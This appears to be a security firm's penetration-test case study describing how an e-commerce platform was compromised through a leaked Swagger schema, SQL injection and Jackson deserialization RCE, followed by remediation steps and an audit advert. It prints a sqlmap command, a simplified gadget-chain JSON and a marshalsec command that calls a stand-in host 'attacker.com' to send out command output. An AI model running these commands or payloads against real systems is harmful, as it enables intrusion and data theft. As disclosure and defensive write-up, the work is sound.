WEB PENTEST

E-commerce platform — RCE via Jackson Deserialization

Full chain: Swagger leak → 47 API endpoints → SQL Injection → Jackson deserialization gadget chain → RCE → Root Access → Full DB Dump. 2.4M user records, CVSS 9.8, fixed in 24 hours.

12Vulnerabilities
3Critical
2.4MUser Records
24hTime to Fix
RootAccess

1. Recon: Swagger Leak → Attack Surface

Publicly accessible /v3/api-docs (SpringDoc OpenAPI) — the full schema of all 47 endpoints, including internal admin ones. Parameters, request/response schemas, examples. Saves days of recon.

Key findings: POST /api/admin/import (accepts JSON for bulk import), POST /api/search (raw SQL in the q parameter), GET /actuator/env (Spring Boot Actuator secrets).

2. SQL Injection in Search (High → Critical Chain)

The q parameter in /api/search?q= was concatenated into a native Hibernate query without parameterization. Classic UNION-based SQLi. Extracted the DB schema, PostgreSQL version, and the table list.

bash
sqlmap -u "https://target.com/api/search?q=test" --dbs --batch --level 5 --risk 3
# Result: 12 databases, 2.4M rows in users table, credit_cards, sessions, reset_tokens

3. Jackson Deserialization → RCE (Critical)

The POST /api/admin/import endpoint used ObjectMapper.readValue(json, Object.class) with enableDefaultTyping() enabled (Polymorphic Type Handling). This lets an attacker specify an arbitrary class in the JSON via @class.

Gadget Chain: com.fasterxml.jackson.databind.node.POJONode → javax.script.ScriptEngineManager → javax.script.ScriptEngine → eval() → RCE. Used marshalsec to generate the payload.

json
# PoC JSON for RCE (simplified)
{
  "@class": "com.fasterxml.jackson.databind.node.POJONode",
  "value": {
    "@class": "javax.script.ScriptEngineManager",
    "engineName": "JavaScript",
    "factory": { ... }
  }
}  

# Generation via marshalsec
java -cp marshalsec.jar marshalsec.Jackson gadget "curl attacker.com/$(id)"

Result: curl attacker.com/$(id) executed on the server → reverse shell → root via dirty sudo inside the container.

4. Post-exploitation and Impact

🗄

Full DB Dump

2.4M users: email, bcrypt hashes, PII, payment tokens

🔑

Root on Production

Container escape via misconfigured sudo in the Dockerfile

💳

Payment Data

Tokenized cards (Stripe), sufficient for refunds/fraud

5. Remediation and Result

Disable Default Typing in ObjectMapper: mapper.disable(MapperFeature.DEFAULT_TYPING)
Allow-list of classes for deserialization: PolymorphicTypeValidator
Parameterized Queries everywhere (JPA Criteria API / Named Parameters)
Actuator endpoints — internal only, with auth, no secrets in /env
WAF Rules for deserialization (block @class, @type in JSON body)

All Criticals closed within 24h. Retest — 0 findings. The client received a report for investors (Series A due diligence passed).

Worried about deserialization in your Java stack?

We'll check ObjectMapper, Spring Cloud, SpEL, Groovy, SnakeYAML, Hessian, Kryo. We'll provide a PoC or confirm it's safe.

Order a Java/Spring audit